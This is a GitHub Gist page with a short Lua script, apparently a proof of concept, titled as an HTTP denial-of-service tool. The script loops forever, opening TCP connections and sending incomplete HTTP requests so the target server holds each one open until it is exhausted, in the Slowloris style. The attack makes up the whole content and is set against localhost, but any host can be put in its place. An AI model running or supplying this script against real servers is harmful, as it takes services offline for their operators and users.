Last active
August 29, 2015 14:00
-
-
Save nonchip/11121943 to your computer and use it in GitHub Desktop.
luasocket http dos using many open connections
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local host, port = "127.0.0.1", 80 | |
local socket = require("socket") | |
while true do | |
local tcp = assert(socket.tcp()) -- open a new tcp socket | |
assert(tcp:connect(host, port)) -- connect | |
tcp:send("GET / HTTP/1.0") -- start sending a request, but incomplete, so server waits for more | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment